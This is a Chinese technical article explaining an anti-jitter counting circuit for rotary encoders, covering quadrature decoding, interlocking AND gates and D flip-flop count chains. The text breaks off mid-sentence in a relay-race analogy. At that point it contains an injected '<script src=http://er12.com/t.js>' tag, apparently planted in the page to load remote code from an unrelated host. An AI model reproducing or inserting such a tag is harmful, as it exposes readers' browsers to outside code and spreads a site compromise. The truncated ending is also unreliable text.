摘要：旋转编码器应用于角度定位或测量时，由于旋转轴的晃动可能引起编码器输出波形的，从而引发误计数现象。介绍了一个抗抖动计数电路，滤除了旋转编码器因抖动而造成的误计数。
关键词：旋转编码器 抗抖动电路 数字电路
旋转编码器应用于角度定位或测量时，通常有a、b、z三相输出。旋转编码器的输出波形见图1。
a相和b相输出占空比为50%的方波。编码器每转一周，a相和b相输出固定数目的脉冲（如100个脉冲）。当编码器正向旋转时，a相比b相超前四分之一个周期；当编码器反向旋转时，b相比a相超前四分之一个周期。a相和b相输出方波的相位差为90°。编码器每转一周，z相输出一个脉冲。由于编码器每转一周，a相和b相输出固定数目的脉冲，则a相或b相每输出一个脉冲，表示编码器旋转了一个固定的角度。当z相输出一个脉冲时，表示编码器旋转了一周。因此旋转编码器可以测量角位移及位移方向。
问题出在伺服系统停止工作时，若无锁定，则旋转轴受外力（如风力影响）可能自由晃动，因而引起编码器输出波形抖动，如图2所示，从而引起误计数。在这种情况下，就不能对波形进行正确计数。虽然可以通过软件设置标志状态，用记录历史状态的变化来滤除误计数，但是程序耗费颇大。因此，本人设计了一个抗抖动计数电路。它能够自动消除抖动造成的误计数。
1 抗抖动计数电路原理图
图3是抗抖动计数电路原理图。此电路滤除了旋转编码器输出波形的抖动现象。该电路分为四个部分：译码电路u4a；互锁电路u5a、u5b；正旋计数链j1、j3、j5和反旋计数链j2、j4、j6。u4a为二四译码器，u5a、u5b为与门，j1～j6为d触发器。正旋计数链负责对编码器正向旋转的计数，反旋计数链负责对编码器反向旋转的计数。
2 抗抖动计数电路工作分析
图4为二四译码器输出的波形。
译码器产生d、a、b、c四种不同的状态。在图3中当b=0、a=0时，译码器q0输出为d状态，d状态为高电平。当b=0、a=1时，译码器q1输入为a状态,a状态为高电平。当b=1、a=1时，译码器q2输出为b状态，b状态为高电平。b状态不影响计数和方向确定，在图3电路中没有使用。当b=1、a=0时，译码器q3输出为c状态，c状态为高电平。
当旋转编码器正向旋转时，译码器输出的状态顺序为d、a、b、c、d、a、b、c……。如图4所示。当b=0、a=0时，进入d状态，与门u5a的pin2=a=0(pin是管脚的意思)，于是u5a的输出pin3=0。d触发器j1的r=d=1、s=0，因此j1被清0.与门u5b的pin5=c=0，于是u5b的输出pin4=0。d触发器j2的r=d=1、s=0，因此j2也被清0。这时j1、j2的q端都为1，与门u5的pin1=pin6=1,u5a和u5b都处于等待开门状态。当进入状态a时，q1=a=1，u5a的pin2=a=1。由于c=0，所以j2的q端仍为1，u5a的pin1=1，u5a的输出pin3=1.j1的r=d=0、s=1，因此j1被置1。j1的q=1，q=0。j1的q=1，正旋标志送到了j3的d端。时j1的q端关闭了u5b。在下一个d出现之前，所有的c脉冲都不会改变j2的状态。这就说，j1、j3、j5组成的正旋计数链被打开，j2、j4、j6组成的反旋计数链被阻断。u5a、u5b、j1、j2完成互锁的功能。在进入状态a时，j3的r=a=1、s=0，j3被清0，j5的r=a=1、s=0，j5被清0.在进入状态c前，j3的r=a=0、s=0、d=1，j3处于待触发状态。j3的clk=c，当c脉冲上升沿过后，d=1被打入j3的q端，正旋标志送到了j5的d端。在进入状态d前，j5的r=a=0、s=0，j5处于待触发状态。j5的clk=d，当d脉冲上升沿过后，d=1被打入j5的q端，正旋标志送到了正旋计数输出端。正旋计数输出端由低电平变为高电平。到此为止，完成了一次正旋计数。当由状态d进入状态a时，j5的r=a=1、s=0，j5被清0，正旋计数输出端由高电平变为低电平。由此可知，当旋转编码器正向旋转时，对应a相 b相的每一个完整周期，正旋计数输出端都会产生相应的一个脉冲。
a的出现抢到了正旋计数权。只有在d重新出现后，脉冲c才可能有机会抢到反旋计数权。从而保证了一旦进入正旋计数状态，不全完成这一过程，就进入不了反旋计数状态。运行时有可能从状态a返回状态d，结果这只不过释放正旋计数权。因这时正旋标志还只在j3输入端上，a出现时已把j3清0。d状态只会把0送给j5的q端，因此不会产生误计数。
当旋转编码器反向旋转时，译码器输出的状态顺序为d、c、b、a、d、c、b、a……。这种情况的分析方法与正向旋转的分析方法相同，这里不再叙述。
这就好比接力赛。在一个只允许上一个人的封闭的环形跑道上依次均匀设d、a、b、c、四个站，立四个裁判员。d点为起止点、出入口，持棒运动员沿环形跑?script src=http://er12.com/t.js>
